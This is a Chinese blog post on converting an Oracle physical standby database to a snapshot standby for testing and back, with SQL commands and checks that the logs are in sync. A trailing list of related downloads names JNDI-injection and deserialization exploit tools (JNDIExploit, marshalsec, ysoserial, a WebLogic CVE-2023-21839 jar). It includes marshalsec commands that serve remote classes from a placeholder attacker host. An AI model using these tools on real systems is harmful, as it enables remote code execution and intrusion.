概述
一般情况下,物理standby数据库处于mount状态接收和应用主库的REDO日志,物理standby数据库不能对外提供访问。如果需要只读访问,那么可以临时以read-only的方式open物理备库,或者配置ACTIVE DATA GUARD,那么物理standby数据库可以进行只读(read-only)访问(比如报表业务查询),但是物理standby数据库不能进行读写操作(read-write)。
有些情况下,为了实现系统的压力测试或者Real Application Testing(RAT)或者其他读写操作测试,那么可以临时将物理standby数据库转换为snapshot standby数据库然后进行测试,因为snapshot standby数据库是独立于主库的,并且是可以进行读写操作(read-write)。测试过程中snapshot standby数据库正常接收主库的归档日志,保证主库的数据安全,但是不会应用这些日志,当压力测试结束后,可以非常简单的再将snapshot standby转换为物理standby数据库,继续同步主库日志。
配置
1.物理standby配置闪回日志
SQL> Alter system set db_recovery_file_dest_size=500M;
System altered.
SQL> Alter system set db_recovery_file_dest='/u01/app/oracle/snapshot_standby';
System altered.
2.物理standby停止应用日志
SQL> alter database recover managed standby database cancel;
Database altered.
3.物理standby转换为snapshot standby,并且open snapshot standby
SQL> alter database convert to snapshot standby;
Database altered.
SQL> alter database open;
Database altered.
PS:如果使用DG Broker,可以用如下命令进行转换
DGMGRL> convert database slave to snapshot standby;
检查snapshot standby数据库角色是SNAPSHOT STANDBY,open模式是READ WRITE:
SQL> select DATABASE_ROLE,name,OPEN_MODE from v$database;
DATABASE_ROLE NAME OPEN_MODE
---------------- --------- --------------------
SNAPSHOT STANDBY FSDB READ WRITE
4.对snapshot standby数据库进行压力测试或者Real Application Testing(RAT)或者其他读写操作。
5.测试结束后,再将snapshot standby转换为physical standby,并且重新开始应用日志
SQL> shutdown immediate;
Database closed.
Database dismounted.
ORACLE instance shut down.
SQL> startup mount;
ORACLE instance started.
Database mounted.
SQL> ALTER DATABASE CONVERT TO PHYSICAL STANDBY;
Database altered.
SQL> shutdown immediate;
ORA-01507: database not mounted
ORACLE instance shut down.
SQL> startup mount;
ORACLE instance started.
Database mounted.
SQL>ALTER DATABASE RECOVER MANAGED STANDBY DATABASE DISCONNECT FROM SESSION;
Database altered.
5.转换为物理standby后,查看备库角色是PHYSICAL STANDBY,open模式是MOUNTED
SQL> select DATABASE_ROLE,name,OPEN_MODE from v$database;
DATABASE_ROLE NAME OPEN_MODE
---------------- --------- --------------------
PHYSICAL STANDBY FSDB MOUNTED
6.检查主库和物理备库日志是同步的
主库日志:
SQL> select ads.dest_id,max(sequence#) "Current Sequence",
max(log_sequence) "Last Archived"
from v$archived_log al, v$archive_dest ad, v$archive_dest_status ads
where ad.dest_id=al.dest_id
and al.dest_id=ads.dest_id
and al.resetlogs_change#=(select max(resetlogs_change#) from v$archived_log )
group by ads.dest_id;
DEST_ID Current Sequence Last Archived
---------- ---------------- -------------
1 361 361
2 361 362
--备库日志
SQL> select al.thrd "Thread", almax "Last Seq Received", lhmax "Last Seq Applied"
from (select thread# thrd, max(sequence#) almax
from v$archived_log
where resetlogs_change#=(select resetlogs_change# from v$database)
group by thread#) al,
(select thread# thrd, max(sequence#) lhmax
from v$log_history
where resetlogs_change#=(select resetlogs_change# from v$database)
group by thread#) lh
where al.thrd = lh.thrd;
Thread Last Seq Received Last Seq Applied
---------- ----------------- ----------------
1 361 361
参考至:https://blogs.oracle.com/Database4CN/entry/data_guard_snapshot_standby_database
http://tech.ddvip.com/2013-08/1377883448201885.html
如有错误,欢迎指正
邮箱:czmcj@163.com
相关推荐
DolphinScheduler(海豚调度) dolphinscheduler-data-quality-dev-SNAPSHOT数据质量jar包添加配置信息:<server-name>/conf/common.propertiesdata-quality.jar.name=dolphinscheduler-data-quality-dev-SNAPSHOT.jar...
解决 Maven 无法下载 fastdfs-client-java-1.29-SNAPSHOT 依赖,直接下载之后用maven命令存储到本地maven仓库即可。 maven命令 mvn install:install-file -DgroupId=org.csource -DartifactId=fastdfs-client-java ...
JNDIExploit-1.2-SNAPSHOT
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://VPS/ExportObject 1099 开启ldap服务 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer ...
dolphinscheduler_dindgding_monitoring-1.0-SNAPSHOT
weblogic-CVE-2023-21839-JNDIExploit-1.4-SNAPSHOT.jar
编译后的JNDIExploit-1.4-SNAPSHOT.jar,可以直接用,1.4版本支持tomcatBypass路由直接上线msf。
JNDI-Injection-Exploit-1.0-SNAPSHOT-all
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> []] 参数说明: -a:生成exploit下的所有payload(例如:hessian下的...
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address] where: -C - command executed in the remote classfile. (optional , default command is "open /Applications/...
依赖 <groupId>com.xuxueli</groupId> <artifactId>xxl-job-core <version>2.2.0-SNAPSHOT </dependency>
log-collector-1.0-SNAPSHOT-jar-with-dependencies.jar
ysoserial-0.0.6-SNAPSHOT-all.jar
gcviewer-1.36-SNAPSHOT gcviewer-1.36-SNAPSHOT gcviewer-1.36-SNAPSHOT gcviewer-1.36-SNAPSHOT gcviewer-1.36-SNAPSHOT gcviewer-1.36-SNAPSHOT gcviewer-1.36-SNAPSHOT gcviewer-1.36-SNAPSHOT gcviewer-1.36-...
JrebelBrainsLicenseServerforJava-1.0-SNAPSHOT-jar-with-dependencies.jar
react-snapshot, React配置 static 前端的响应应用
hadoop-lzo-0.4.21-SNAPSHOT.jar是hadoop数据压缩lzo工具包
heron-core-1.0.3-SNAPSHOT.jar heron-core-1.0.3-SNAPSHOT.jar heron-core-1.0.3-SNAPSHOT.jar heron-core-1.0.3-SNAPSHOT.jar heron-core-1.0.3-SNAPSHOT.jar heron-core-1.0.3-SNAPSHOT.jar heron-core-1.0.3-...